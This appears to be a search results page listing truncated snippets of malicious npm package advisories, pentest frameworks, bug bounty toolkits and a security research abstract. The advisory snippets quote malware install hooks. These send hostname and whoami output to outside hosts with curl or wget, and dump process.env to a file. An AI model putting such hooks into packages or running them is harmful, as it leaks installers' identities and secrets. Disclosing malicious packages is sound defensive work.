468 matches found
MAL-2026-5749 Malicious code in easy-time666 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57bc31746af3bff6006bfe2da34cd0fb223a4bd9e867abddd172be5018821c22 package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$hostname&u=&whoami over plain HTTP on every npm install, leaki...
MAL-2026-5736 Malicious code in node-stack-frames (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5fd4f6c5f3278484d99f6ffffc001cf920dcb0fa4fdfabff957a61c3cfbfc158 package.json declares a preinstall script that runs an inline Node program on npm install. The script requires os and http, collects os.hostname,...
AutoVAPT
█████╗ ██╗ ██╗████████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗...
kiro-cybersecurity-skills
CyberSecurity Skills A collection of 15 security workflows co...
Malicious code in ect-839201-ctf (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callbackwget || curl http://10.107.121.85:8000/callbackcurl ...
webstrike-framework
WebStrike — Automated Web Pentesting Framework Created by...
Android ADB Wireless Network Flipper Zero Recon Scanner / Service Discovery
This is a reconnaissance scanner and discovery tool for Flipper Zero to look for Android ADB wireless networks...
RECON: An LLM-Enhanced Backward Constraint Analysis Framework
While traditional techniques, such as symbolic execution, provide a principled foundation for precise constraint reasoning in program analysis, they struggle to scale to modern software systems mainly due to path explosion, the need for function modeling, and the loss of semantic intent at...
HackTheBox
HackTheBox — Writeups, Tooling & Exploitation Pipelines A wor...
bugbounty-toolkit
🎯 Bug Bounty Recon Toolkit Automated recon toolkit for author...
Hunting-Bugs
2026 Practical Bug Bounty Guide Built on real-world experie...
PHANTOM
PHANTOM Autonomous Penetration Testing Framework Recon -...
Malicious code in crypt0co-walet-poc (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5510d98b1e380f6c130bf9b4428321d711ae88d8a4fcb66368a2f6fb4e7ff58 On require/import, index.js lines 6-12 serializes the full process.env to /tmp/pocimpact.json and runs whoami and ip addr via execSync to fingerprint...
zparty
Zparty Automated web penetration testing framework with loc...
BUG-BOUNTY-METHODOLOGY
🕷️ Bug Bounty & Pentest Web — Metodologia Completa "Script...
Firebase stack & hosting init — detect
Passive recon: reads the configured path for Firebase SDK / API hints, checks response headers, and optionally GETs /firebase/init.json Firebase Hosting auto-config. Positive when init.json returns a project config or strong in-page markers FIREBASEDEFAULTS, etc.. !/usr/bin/env python3 -- coding:...
hunt-skill
/hunt — Bug Bounty Hunt Skill for Claude Code A complete bug...
Lyussfyuring002
lyussfyuring002 web exploitation + OSINT toolkit for people...